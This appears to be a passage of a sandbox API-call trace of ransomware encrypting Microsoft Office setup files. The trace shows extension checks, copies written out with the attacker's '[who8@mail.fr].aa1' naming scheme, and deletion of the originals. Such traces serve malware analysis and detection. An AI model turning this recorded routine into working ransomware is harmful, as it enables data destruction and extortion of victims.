lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.340] lstrlenW (lpString=".doc") returned 4 [0207.340] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.340] lstrlenW (lpString=".docx") returned 5 [0207.340] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0207.340] lstrlenW (lpString=".pdf") returned 4 [0207.340] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.340] lstrlenW (lpString=".xls") returned 4 [0207.340] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.340] lstrlenW (lpString=".xlsx") returned 5 [0207.340] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0207.340] lstrlenW (lpString=".ppt") returned 4 [0207.340] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.340] lstrlenW (lpString=".zip") returned 4 [0207.340] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.340] lstrlenW (lpString=".rar") returned 4 [0207.340] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.340] lstrlenW (lpString=".bz2") returned 4 [0207.340] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.340] lstrlenW (lpString=".7z") returned 3 [0207.340] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.340] lstrlenW (lpString=".dbf") returned 4 [0207.341] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.341] lstrlenW (lpString=".1cd") returned 4 [0207.341] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.341] lstrlenW (lpString=".jpg") returned 4 [0207.341] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.341] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0207.341] lstrlenW (lpString="SETUP.XML") returned 9 [0207.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0207.870] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2624) returned 1 [0207.870] CloseHandle (hObject=0x1f8) returned 1 [0207.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0207.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0207.870] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.871] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0207.871] GetLastError () returned 0x0 [0207.871] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xa40, lpOverlapped=0x0) returned 1 [0207.927] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0207.928] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0207.929] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0207.929] SetEndOfFile (hFile=0x1fc) returned 1 [0207.929] CloseHandle (hObject=0x1fc) returned 1 [0207.930] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.931] SetEndOfFile (hFile=0x1f8) returned 1 [0207.932] CloseHandle (hObject=0x1f8) returned 1 [0207.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0207.932] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0207.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.933] lstrlenW (lpString=".doc") returned 4 [0207.933] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.933] lstrlenW (lpString=".docx") returned 5 [0207.933] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0207.933] lstrlenW (lpString=".pdf") returned 4 [0207.933] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.933] lstrlenW (lpString=".xls") returned 4 [0207.933] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.933] lstrlenW (lpString=".xlsx") returned 5 [0207.933] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0207.933] lstrlenW (lpString=".ppt") returned 4 [0207.933] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.933] lstrlenW (lpString=".zip") returned 4 [0207.933] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.933] lstrlenW (lpString=".rar") returned 4 [0207.933] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.933] lstrlenW (lpString=".bz2") returned 4 [0207.934] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.934] lstrlenW (lpString=".7z") returned 3 [0207.934] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.934] lstrlenW (lpString=".dbf") returned 4 [0207.934] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.934] lstrlenW (lpString=".1cd") returned 4 [0207.934] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.934] lstrlenW (lpString=".jpg") returned 4 [0207.934] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.934] lstrlenW (lpString=".doc") returned 4 [0207.934] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.934] lstrlenW (lpString=".docx") returned 5 [0207.934] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0207.934] lstrlenW (lpString=".pdf") returned 4 [0207.934] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.934] lstrlenW (lpString=".xls") returned 4 [0207.934] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.934] lstrlenW (lpString=".xlsx") returned 5 [0207.934] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0207.935] lstrlenW (lpString=".ppt") returned 4 [0207.935] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.935] lstrlenW (lpString=".zip") returned 4 [0207.935] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.935] lstrlenW (lpString=".rar") returned 4 [0207.935] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.935] lstrlenW (lpString=".bz2") returned 4 [0207.935] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.935] lstrlenW (lpString=".7z") returned 3 [0207.935] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.935] lstrlenW (lpString=".dbf") returned 4 [0207.935] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.935] lstrlenW (lpString=".1cd") returned 4 [0207.935] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0207.935] lstrlenW (lpString=".jpg") returned 4 [0207.935] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.935] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0207.935] lstrlenW (lpString="SETUP.XML") returned 9 [0207.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0208.297] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1452) returned 1 [0208.297] CloseHandle (hObject=0x1fc) returned 1 [0208.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0208.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0208.298] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.298] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0208.298] GetLastError () returned 0x0 [0208.298] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0208.300] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0208.302] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.302] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0208.302] SetEndOfFile (hFile=0x200) returned 1 [0208.302] CloseHandle (hObject=0x200) returned 1 [0208.305] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.305] SetEndOfFile (hFile=0x1fc) returned 1 [0208.309] CloseHandle (hObject=0x1fc) returned 1 [0208.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.312] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0208.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.313] lstrlenW (lpString=".doc") returned 4 [0208.313] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.313] lstrlenW (lpString=".docx") returned 5 [0208.313] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0208.313] lstrlenW (lpString=".pdf") returned 4 [0208.313] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.313] lstrlenW (lpString=".xls") returned 4 [0208.313] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0208.314] lstrlenW (lpString=".xlsx") returned 5 [0208.314] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0208.314] lstrlenW (lpString=".ppt") returned 4 [0208.314] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.314] lstrlenW (lpString=".zip") returned 4 [0208.314] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.314] lstrlenW (lpString=".rar") returned 4 [0208.314] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.314] lstrlenW (lpString=".bz2") returned 4 [0208.314] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.314] lstrlenW (lpString=".7z") returned 3 [0208.314] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.314] lstrlenW (lpString=".dbf") returned 4 [0208.314] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.314] lstrlenW (lpString=".1cd") returned 4 [0208.315] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.315] lstrlenW (lpString=".jpg") returned 4 [0208.315] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.315] lstrlenW (lpString=".doc") returned 4 [0208.315] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.315] lstrlenW (lpString=".docx") returned 5 [0208.315] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0208.315] lstrlenW (lpString=".pdf") returned 4 [0208.315] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.315] lstrlenW (lpString=".xls") returned 4 [0208.315] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0208.315] lstrlenW (lpString=".xlsx") returned 5 [0208.315] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0208.315] lstrlenW (lpString=".ppt") returned 4 [0208.316] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.316] lstrlenW (lpString=".zip") returned 4 [0208.316] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.316] lstrlenW (lpString=".rar") returned 4 [0208.316] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.316] lstrlenW (lpString=".bz2") returned 4 [0208.316] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.316] lstrlenW (lpString=".7z") returned 3 [0208.316] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.316] lstrlenW (lpString=".dbf") returned 4 [0208.316] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.316] lstrlenW (lpString=".1cd") returned 4 [0208.316] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0208.317] lstrlenW (lpString=".jpg") returned 4 [0208.317] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.317] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0208.317] lstrlenW (lpString="OCT.CHM") returned 7 [0208.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0208.332] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=71236) returned 1 [0208.332] CloseHandle (hObject=0x200) returned 1 [0208.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0208.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0208.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0208.334] GetLastError () returned 0x0 [0208.334] ReadFile (in: hFile=0x200, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x11644, lpOverlapped=0x0) returned 1 [0208.361] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0208.363] ReadFile (in: hFile=0x200, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.363] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0208.363] SetEndOfFile (hFile=0x204) returned 1 [0208.363] CloseHandle (hObject=0x204) returned 1 [0208.366] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.366] SetEndOfFile (hFile=0x200) returned 1 [0208.367] CloseHandle (hObject=0x200) returned 1 [0208.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.368] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0208.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.368] lstrlenW (lpString=".doc") returned 4 [0208.368] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.368] lstrlenW (lpString=".docx") returned 5 [0208.368] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0208.368] lstrlenW (lpString=".pdf") returned 4 [0208.368] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.368] lstrlenW (lpString=".xls") returned 4 [0208.368] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.368] lstrlenW (lpString=".xlsx") returned 5 [0208.368] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0208.368] lstrlenW (lpString=".ppt") returned 4 [0208.368] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.369] lstrlenW (lpString=".zip") returned 4 [0208.369] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.369] lstrlenW (lpString=".rar") returned 4 [0208.369] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.369] lstrlenW (lpString=".bz2") returned 4 [0208.369] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.369] lstrlenW (lpString=".7z") returned 3 [0208.369] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.369] 